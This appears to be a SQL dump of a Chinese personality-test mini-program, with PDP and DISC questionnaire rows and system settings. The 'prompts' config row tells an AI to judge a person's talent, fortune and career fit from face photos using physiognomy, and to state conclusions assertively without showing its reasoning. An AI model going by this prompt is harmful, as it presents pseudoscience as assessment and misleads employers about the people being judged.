+INSERT INTO `mbti_questions` VALUES (101, 'pdp', '您的时间管理风格是:', '[{\"text\": \"高效利用,追求速度\", \"value\": \"Tiger\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"Peacock\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"Koala\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整计划\", \"value\": \"Chameleon\"}]', NULL, NULL, 11, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (102, 'pdp', '您被什么激励:', '[{\"text\": \"成就和权力\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"安全和归属\", \"value\": \"Koala\"}, {\"text\": \"正确和标准\", \"value\": \"Owl\"}, {\"text\": \"多样性和平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 12, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (103, 'pdp', '您的学习方式是:', '[{\"text\": \"边做边学,实践第一\", \"value\": \"Tiger\"}, {\"text\": \"互动讨论,分享学习\", \"value\": \"Peacock\"}, {\"text\": \"循序渐进,反复练习\", \"value\": \"Koala\"}, {\"text\": \"深入研究,系统学习\", \"value\": \"Owl\"}, {\"text\": \"多种方式结合\", \"value\": \"Chameleon\"}]', NULL, NULL, 13, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (104, 'pdp', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"Tiger\"}, {\"text\": \"灵活运用,不拘一格\", \"value\": \"Peacock\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"Koala\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"Owl\"}, {\"text\": \"视情况灵活处理\", \"value\": \"Chameleon\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (105, 'pdp', '您在团队中的角色是:', '[{\"text\": \"领导者,推动进展\", \"value\": \"Tiger\"}, {\"text\": \"激励者,凝聚人心\", \"value\": \"Peacock\"}, {\"text\": \"协调者,维护和谐\", \"value\": \"Koala\"}, {\"text\": \"专家,提供专业意见\", \"value\": \"Owl\"}, {\"text\": \"多面手,灵活补位\", \"value\": \"Chameleon\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (106, 'pdp', '您的工作节奏是:', '[{\"text\": \"快节奏,追求效率\", \"value\": \"Tiger\"}, {\"text\": \"充满活力,变化多端\", \"value\": \"Peacock\"}, {\"text\": \"稳定有序,按部就班\", \"value\": \"Koala\"}, {\"text\": \"有条理,精确执行\", \"value\": \"Owl\"}, {\"text\": \"根据需要调整节奏\", \"value\": \"Chameleon\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (107, 'pdp', '您最大的优势是:', '[{\"text\": \"决断力和执行力\", \"value\": \"Tiger\"}, {\"text\": \"影响力和感染力\", \"value\": \"Peacock\"}, {\"text\": \"耐心和可靠性\", \"value\": \"Koala\"}, {\"text\": \"分析力和准确性\", \"value\": \"Owl\"}, {\"text\": \"适应力和灵活性\", \"value\": \"Chameleon\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (108, 'pdp', '您的人际关系特点是:', '[{\"text\": \"目标导向,建立有价值的关系\", \"value\": \"Tiger\"}, {\"text\": \"广泛社交,朋友众多\", \"value\": \"Peacock\"}, {\"text\": \"深度交往,关系稳定\", \"value\": \"Koala\"}, {\"text\": \"选择性交往,志同道合\", \"value\": \"Owl\"}, {\"text\": \"根据情况建立不同类型关系\", \"value\": \"Chameleon\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (109, 'pdp', '面对批评,您的反应是:', '[{\"text\": \"可能会反驳或辩护\", \"value\": \"Tiger\"}, {\"text\": \"可能会感到受伤\", \"value\": \"Peacock\"}, {\"text\": \"接受并思考改进\", \"value\": \"Koala\"}, {\"text\": \"分析批评的合理性\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整反应\", \"value\": \"Chameleon\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (110, 'pdp', '您的理想工作环境是:', '[{\"text\": \"充满挑战,自主权高\", \"value\": \"Tiger\"}, {\"text\": \"互动频繁,氛围活跃\", \"value\": \"Peacock\"}, {\"text\": \"稳定和谐,团队协作\", \"value\": \"Koala\"}, {\"text\": \"有序规范,专注质量\", \"value\": \"Owl\"}, {\"text\": \"灵活多变,兼顾平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (111, 'disc', '在团队中,您更倾向于:', '[{\"text\": \"主导决策,带领团队前进\", \"value\": \"D\"}, {\"text\": \"活跃气氛,激励团队成员\", \"value\": \"I\"}, {\"text\": \"支持他人,确保团队和谐\", \"value\": \"S\"}, {\"text\": \"分析数据,确保决策质量\", \"value\": \"C\"}]', NULL, NULL, 1, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (112, 'disc', '面对挑战时,您的第一反应是:', '[{\"text\": \"立即行动,解决问题\", \"value\": \"D\"}, {\"text\": \"寻找支持,团队协作\", \"value\": \"I\"}, {\"text\": \"冷静思考,稳步推进\", \"value\": \"S\"}, {\"text\": \"收集信息,谨慎分析\", \"value\": \"C\"}]', NULL, NULL, 2, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (113, 'disc', '您在工作中最看重的是:', '[{\"text\": \"成果和效率\", \"value\": \"D\"}, {\"text\": \"认可和赞赏\", \"value\": \"I\"}, {\"text\": \"稳定和安全\", \"value\": \"S\"}, {\"text\": \"准确和质量\", \"value\": \"C\"}]', NULL, NULL, 3, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (114, 'disc', '与他人沟通时,您通常:', '[{\"text\": \"直接了当,注重结果\", \"value\": \"D\"}, {\"text\": \"热情友好,善于表达\", \"value\": \"I\"}, {\"text\": \"耐心倾听,体贴理解\", \"value\": \"S\"}, {\"text\": \"逻辑清晰,注重细节\", \"value\": \"C\"}]', NULL, NULL, 4, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (115, 'disc', '压力之下,您会:', '[{\"text\": \"变得更加强势和控制\", \"value\": \"D\"}, {\"text\": \"寻求他人支持和鼓励\", \"value\": \"I\"}, {\"text\": \"保持冷静,按部就班\", \"value\": \"S\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"C\"}]', NULL, NULL, 5, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (116, 'disc', '您认为自己的优势是:', '[{\"text\": \"决断力强,行动迅速\", \"value\": \"D\"}, {\"text\": \"人际关系好,善于激励\", \"value\": \"I\"}, {\"text\": \"可靠稳定,团队协作\", \"value\": \"S\"}, {\"text\": \"分析能力强,注重细节\", \"value\": \"C\"}]', NULL, NULL, 6, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (117, 'disc', '在会议中,您通常扮演的角色是:', '[{\"text\": \"主导者,推动决策\", \"value\": \"D\"}, {\"text\": \"激励者,调动气氛\", \"value\": \"I\"}, {\"text\": \"调和者,平衡各方\", \"value\": \"S\"}, {\"text\": \"分析者,提供数据\", \"value\": \"C\"}]', NULL, NULL, 7, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (118, 'disc', '您最不喜欢的工作环境是:', '[{\"text\": \"缺乏挑战,进展缓慢\", \"value\": \"D\"}, {\"text\": \"被孤立,缺乏互动\", \"value\": \"I\"}, {\"text\": \"变化太快,不稳定\", \"value\": \"S\"}, {\"text\": \"混乱无序,缺乏标准\", \"value\": \"C\"}]', NULL, NULL, 8, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (119, 'disc', '做决定时,您更依赖:', '[{\"text\": \"直觉和经验\", \"value\": \"D\"}, {\"text\": \"他人的意见\", \"value\": \"I\"}, {\"text\": \"过去的成功经验\", \"value\": \"S\"}, {\"text\": \"数据和事实\", \"value\": \"C\"}]', NULL, NULL, 9, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (120, 'disc', '您的工作风格是:', '[{\"text\": \"快速高效,注重结果\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满创意\", \"value\": \"I\"}, {\"text\": \"稳定持续,一步一步\", \"value\": \"S\"}, {\"text\": \"严谨细致,追求完美\", \"value\": \"C\"}]', NULL, NULL, 10, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (121, 'disc', '遇到冲突时,您会:', '[{\"text\": \"直面冲突,解决问题\", \"value\": \"D\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"I\"}, {\"text\": \"避免冲突,保持和谐\", \"value\": \"S\"}, {\"text\": \"分析原因,找出根本\", \"value\": \"C\"}]', NULL, NULL, 11, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (122, 'disc', '您期望的领导风格是:', '[{\"text\": \"给予挑战和自主权\", \"value\": \"D\"}, {\"text\": \"认可和表扬\", \"value\": \"I\"}, {\"text\": \"稳定和支持\", \"value\": \"S\"}, {\"text\": \"明确的指导和标准\", \"value\": \"C\"}]', NULL, NULL, 12, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (123, 'disc', '处理任务时,您更注重:', '[{\"text\": \"速度和效率\", \"value\": \"D\"}, {\"text\": \"创意和新颖\", \"value\": \"I\"}, {\"text\": \"过程和协作\", \"value\": \"S\"}, {\"text\": \"质量和准确\", \"value\": \"C\"}]', NULL, NULL, 13, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (124, 'disc', '您的社交方式是:', '[{\"text\": \"目的明确,建立有价值的关系\", \"value\": \"D\"}, {\"text\": \"广泛社交,认识各种人\", \"value\": \"I\"}, {\"text\": \"深度交往,维护长期友谊\", \"value\": \"S\"}, {\"text\": \"选择性社交,志同道合\", \"value\": \"C\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (125, 'disc', '您理想的工作节奏是:', '[{\"text\": \"快节奏,充满挑战\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满活力\", \"value\": \"I\"}, {\"text\": \"稳定有序,可预测的\", \"value\": \"S\"}, {\"text\": \"有条理,按计划进行\", \"value\": \"C\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (126, 'disc', '面对变化,您的态度是:', '[{\"text\": \"主动拥抱,寻找机会\", \"value\": \"D\"}, {\"text\": \"积极适应,乐观面对\", \"value\": \"I\"}, {\"text\": \"需要时间,逐步适应\", \"value\": \"S\"}, {\"text\": \"谨慎评估,确保万无一失\", \"value\": \"C\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (127, 'disc', '您的时间管理风格是:', '[{\"text\": \"高效利用,最大化产出\", \"value\": \"D\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"I\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"S\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"C\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (128, 'disc', '激励您的是:', '[{\"text\": \"成就和控制\", \"value\": \"D\"}, {\"text\": \"认可和社交\", \"value\": \"I\"}, {\"text\": \"稳定和归属\", \"value\": \"S\"}, {\"text\": \"正确和标准\", \"value\": \"C\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (129, 'disc', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"D\"}, {\"text\": \"可能忽略,更关注整体\", \"value\": \"I\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"S\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"C\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509);
+INSERT INTO `mbti_questions` VALUES (130, 'disc', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"D\"}, {\"text\": \"灵活运用,不拘泥于规则\", \"value\": \"I\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"S\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"C\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509);
+
+-- ----------------------------
+-- Table structure for mbti_system_config
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_system_config`;
+CREATE TABLE `mbti_system_config` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键',
+ `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版',
+ `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)',
+ `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_system_config
+-- ----------------------------
+INSERT INTO `mbti_system_config` VALUES (1, 'system', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"maintenanceMode\":false,\"maxTestsPerDay\":100,\"trialTestCount\":10}', '系统基础配置', 1770883998, 1772761008);
+INSERT INTO `mbti_system_config` VALUES (2, 'notification', 0, '{\"emailNotification\":false,\"lowBalanceAlert\":false,\"lowBalanceThreshold\":1000,\"newEnterpriseNotify\":false}', '通知与告警配置', 1770883998, 1770884109);
+INSERT INTO `mbti_system_config` VALUES (3, 'site_info', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"updatedAt\":1772761008}', '站点信息配置', 1770884090, 1772761008);
+INSERT INTO `mbti_system_config` VALUES (4, 'prompts', 0, '{\"faceAnalyze\":\"人才测评综合分析表(基于正面 \\/ 左侧 45°\\/ 右侧 45° 面部照片)\\n分析前提:将照片人物视为模拟对象,基于传统相术(《冰鉴》九贵骨、《周易》三停五行、《燕翼子・相人》《骈拇子・卜相》)与现代理论(MBTI、PDP、DISC),结合面部骨相细节做差异化推演;结论明确肯定,不展示推理过程。\\n一、面相特征与性格特质关联(按部位)\\n额头:[填写形状 + 日角月角气势]。其智力超群、谋略深远,早年运势顺遂,擅长抽象学习与系统思考。\\n眼睛:[填写大小 + 神采 + 稳定度]。其思维聚焦精准,情绪管理能力强,人际风格理性且有边界感。\\n鼻子:[填写山根 + 鼻梁 + 鼻翼]。其责任感极强,事业心旺盛,金钱观务实,现实问题处理能力突出。\\n嘴巴:[填写唇形 + 厚薄 + 收放]。其表达直接有力,信守承诺,行动力迅猛,执行节奏紧凑高效。\\n下巴:[填写宽窄 + 方圆 + 厚薄]。其抗压能力卓越,承载力强,晚年运势安稳,能长期坚守目标。\\n耳朵:[填写大小 + 位置 + 贴头]。其感受能力敏锐,学习速度快,对环境变化的敏感度高,适配力强。\\n二、骨相分析(含九贵骨与人生阶段)\\n(一)骨形总评\\n五行形相:[填写金 \\/ 木 \\/ 水 \\/ 火 \\/ 土] 形,对应 [填写核心气质,如金形刚健、木形疏朗] 气质。\\n骨肉关系:[填写停匀 \\/ 骨重肉薄 \\/ 肉多掩骨],决断度 [填写高 \\/ 中 \\/ 低],现实感 [填写强 \\/ 中 \\/ 弱],抗压方式为 [填写理性攻坚 \\/ 柔性缓冲 \\/ 稳健持久]。\\n(二)九贵骨核心结论\\n颧骨与驿马骨:权力欲 [填写强 \\/ 中 \\/ 弱],掌控力 [填写强 \\/ 中 \\/ 弱],倾向 [填写开拓 \\/ 守成]。\\n将军骨与肩背:统帅力 [填写强 \\/ 中 \\/ 弱],属于 [填写冲锋型 \\/ 统筹型] 人才。\\n日月角与龙宫骨:智谋 [填写卓越 \\/ 出众 \\/ 普通],机会嗅觉 [填写敏锐 \\/ 一般],意志力坚定,耐力 [填写持久 \\/ 较强]。\\n伏犀骨与龙角骨:主见坚定度 [填写极高 \\/ 高 \\/ 中],上升冲劲 [填写强劲 \\/ 稳健 \\/ 平缓]。\\n(三)人生阶段发力重点\\n上停(额区):早年运势顺畅,发力重点为学业积累、行业入门与贵人链接。\\n中停(颧鼻):壮年运势鼎盛,发力重点为事业拓展、团队管理与资源整合。\\n下停(下颌):晚年运势安稳,发力重点为经验传承、成果固化与稳健守成。\\n(四)骨相总评建议\\n格局:[填写高 \\/ 中高 \\/ 中],具备 [填写核心格局优势,如统筹全局 \\/ 专业深耕] 潜质。\\n事业路径:优先走 [填写核心路径,如管理晋升 \\/ 专业领军 \\/ 创业开拓] 路线。\\n修性养骨建议:1. [填写具体建议,如每日静坐养神,稳固意志力];2. [填写具体建议,如规律运动强骨,提升行动力]。\\n三、现代性格模型综合判断\\n(一)MBTI 性格类型(精准匹配)\\n类型代码 \\/ 名称:[填写如 INTJ \\/ 建筑师、ESFP \\/ 表演者]\\n思维方式:[填写 2 句话,如 INTJ 擅长逻辑推演与长远规划,聚焦核心目标忽略冗余信息]。\\n决策风格:[填写 1 句话,如以理性分析为核心,优先考量目标达成与效率最优]。\\n(二)PDP 行为偏好\\n主性格:[填写老虎 \\/ 孔雀 \\/ 考拉 \\/ 猫头鹰 \\/ 变色龙]\\n辅助性格:[填写上述其一]\\n核心表现:[填写 1 句话,如老虎主性格者目标导向,变色龙辅助性格者适配环境变化]。\\n(三)DISC 沟通风格\\n主类型:[填写 D 支配型 \\/ I 影响型 \\/ S 稳健型 \\/ C 谨慎型]\\n辅助类型:[填写上述其一]\\n沟通特点:[填写 1 句话,如 D 型主风格直接果断,C 型辅助风格注重细节与逻辑]。\\n(四)核心优势(3-5 个)\\n[填写如战略规划、团队管控、细节把控、人际赋能、危机应对]\\n(五)性格概述(3-5 句话)\\n[整合传统相术与现代模型,填写核心气质,如 “核心气质为刚健稳健,兼具开拓性与守成性”]。[填写做事风格与决策模式,如 “做事雷厉风行且注重细节,决策以理性分析为基础,兼顾长远价值与现实落地”]。[填写人际影响方式,如 “人际中自带威信,既能引领团队攻坚,也能精准协调资源”]。[填写适合的工作环境与发展路径,如 “适配高目标、高挑战的工作环境,发展路径以管理晋升或专业领军为核心,中年后可尝试创业或行业赋能”]。\\n四、职业倾向与优势领域建议(4-6 条)\\n[填写职业方向,如高端管理岗]:匹配点为 [填写面相 \\/ 骨相 \\/ 性格依据,如颧骨与将军骨彰显统帅力,MBTI-J 型擅长统筹决策]。\\n[填写职业方向,如战略规划师]:匹配点为 [填写依据,如额头饱满、伏犀骨凸显,具备极强的谋略与长远眼光]。\\n[填写职业方向,如行业专家]:匹配点为 [填写依据,如猫头鹰性格特质突出,眼神专注,细节把控能力卓越]。\\n[填写职业方向,如团队负责人]:匹配点为 [填写依据,如 D 型沟通风格强势,权力欲与掌控力适配团队管理]。\\n[填写职业方向,如创业项目掌舵人]:匹配点为 [填写依据,如开拓型骨相特质,老虎主性格具备目标导向与攻坚能力]。\\n[填写职业方向,如资源整合顾问]:匹配点为 [填写依据,如变色龙辅助性格,人际适配力强,机会嗅觉敏锐]。\\n五、人际关系与团队协作风格\\n(一)人际风格\\n[填写直接 \\/ 含蓄、理性 \\/ 感性、距离感,如 “直接理性,人际中有适度距离感,注重高效沟通”]。\\n(二)团队角色\\n[填写决策者 \\/ 谋划者 \\/ 执行者 \\/ 协调者,可多选,如 “核心决策者 + 首席谋划者”]。\\n(三)提升建议\\n情绪表达:[填写具体建议,如 “高压场景下放缓语速,加入适度情感共鸣,提升团队凝聚力”]。\\n倾听能力:[填写具体建议,如 “沟通中预留 30% 时间倾听他人观点,兼顾细节与不同视角”]。\\n冲突处理:[填写具体建议,如 “理性化解冲突,以目标为核心协调分歧,避免强势决策引发抵触”]。\\n六、潜能发挥(3-4 个)\\n[填写潜能,如战略落地潜能]:发挥方式为 [填写具体行动,如 “结合自身谋略优势,制定分阶段执行计划,依托团队管控力推动落地”]。\\n[填写潜能,如危机应对潜能]:发挥方式为 [填写具体行动,如 “利用敏锐的环境感知力,提前预判风险,以稳健抗压能力制定备选方案”]。\\n[填写潜能,如人才培养潜能]:发挥方式为 [填写具体行动,如 “依托自身经验与统帅力,搭建人才梯队,通过传帮带实现团队赋能”]。\\n[填写潜能,如创新突破潜能]:发挥方式为 [填写具体行动,如 “结合开拓型骨相特质,打破固有思维,在核心领域尝试跨界创新”]。\",\"reportSummary\":\"请你根据我提供的简历信息(生日、工作经历)以及MBTI、PDP、DISC 三项性格测评结果,进行交叉验证、综合分析,不要只照搬测评标签,而是提炼出这个人的真实性格、行为模式、优势、短板、沟通风格、职业特质。\\n要求:\\n1、结合生日分析性格底色与潜在特质。\\n2、结合工作经历判断真实行为风格、抗压能力、做事习惯、人际模式。\\n3、结合 MBTI、PDP、DISC 三项测评互相印证,去伪存真,得出真实性格画像。\\n4、输出结构清晰:\\n核心性格关键词\\n真实性格深度分析\\n行为与沟通风格\\n优势亮点\\n可提升方向\\n语言专业、客观、精炼,不空洞、不玄学。\\n请根据我接下来提供的信息开始分析。\"}', '系统提示词配置(如面相分析、报告摘要等)', 1771915950, 1772766406);
+INSERT INTO `mbti_system_config` VALUES (5, 'text_config', 0, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\"}', '小程序文案配置', 1772608708, 1772761008);
+INSERT INTO `mbti_system_config` VALUES (6, 'poster_config', 0, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"\",\"elements\":[{\"id\":\"el_1772613206999_1\",\"type\":\"image\",\"x\":2,\"y\":0,\"w\":373,\"h\":667,\"shape\":\"square\",\"url\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260304\\/img_69a7f4bb529f73.42463703.png\",\"align\":\"left\"},{\"id\":\"el_1772613291672_2\",\"type\":\"nickname\",\"x\":154,\"y\":450,\"w\":131,\"h\":30,\"fontSize\":20,\"color\":\"rgb(255, 23, 23)\",\"bold\":false,\"fontFamily\":\"noto-sans\",\"align\":\"left\"},{\"id\":\"el_1772613311472_3\",\"type\":\"avatar\",\"x\":128,\"y\":452,\"w\":25,\"h\":25,\"shape\":\"circle\",\"align\":\"left\"},{\"id\":\"el_1772613325744_4\",\"type\":\"qrcode\",\"x\":134,\"y\":487,\"w\":110,\"h\":110,\"align\":\"left\"},{\"id\":\"el_1772615481311_1\",\"type\":\"mbti\",\"x\":35,\"y\":169,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616100719_2\",\"type\":\"pdp\",\"x\":154,\"y\":174,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616105006_3\",\"type\":\"disc\",\"x\":271,\"y\":174,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772674833835_1\",\"type\":\"text\",\"x\":22,\"y\":202,\"w\":102,\"h\":27,\"content\":\"mbti\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678555032_1\",\"type\":\"text\",\"x\":141,\"y\":208,\"w\":100,\"h\":20,\"content\":\"PDP\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678605176_2\",\"type\":\"text\",\"x\":260,\"y\":206,\"w\":99,\"h\":30,\"content\":\"DISC\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"}]}', '分销海报可视化配置', 1772613345, 1772680067);
+INSERT INTO `mbti_system_config` VALUES (7, 'poster_config', 5, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260305\\/img_69a93009e76ba4.00229379.png\",\"elements\":[{\"id\":\"el_1772695569798_1\",\"type\":\"nickname\",\"x\":113,\"y\":359,\"w\":150,\"h\":36,\"fontSize\":16,\"color\":\"rgb(255, 0, 0)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772695592453_2\",\"type\":\"avatar\",\"x\":54,\"y\":333,\"w\":80,\"h\":80,\"shape\":\"circle\"},{\"id\":\"el_1772695597637_3\",\"type\":\"qrcode\",\"x\":127,\"y\":490,\"w\":120,\"h\":120},{\"id\":\"el_1772695600813_4\",\"type\":\"mbti\",\"x\":13,\"y\":153,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695603591_5\",\"type\":\"pdp\",\"x\":19,\"y\":196,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695607589_6\",\"type\":\"disc\",\"x\":18,\"y\":233,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"align\":\"center\"}]}', '分销海报可视化配置(企业)', 1772695611, 1772695611);
+INSERT INTO `mbti_system_config` VALUES (8, 'distribution', 5, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true}}}', NULL, 1772697130, 1773132544);
+INSERT INTO `mbti_system_config` VALUES (9, 'text_config', 5, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\",\"miniprogramName\":\"神仙团队性格测试\"}', '小程序文案配置(企业 5)', 1772700633, 1772761516);
+INSERT INTO `mbti_system_config` VALUES (10, 'distribution', 0, '{\"enabled\":false,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"minWithdrawFen\":100,\"maxWithdrawFen\":0,\"requireAudit\":true,\"withdrawFee\":0,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"ratio\",\"commissionRate\":90,\"commissionAmountFen\":0,\"noPayment\":false}}}', NULL, 1773020928, 1773280490);
+INSERT INTO `mbti_system_config` VALUES (11, 'distribution', 6, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true}}}', NULL, 1773021025, 1773132517);
+
+-- ----------------------------
+-- Table structure for mbti_system_configs
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_system_configs`;
+CREATE TABLE `mbti_system_configs` (
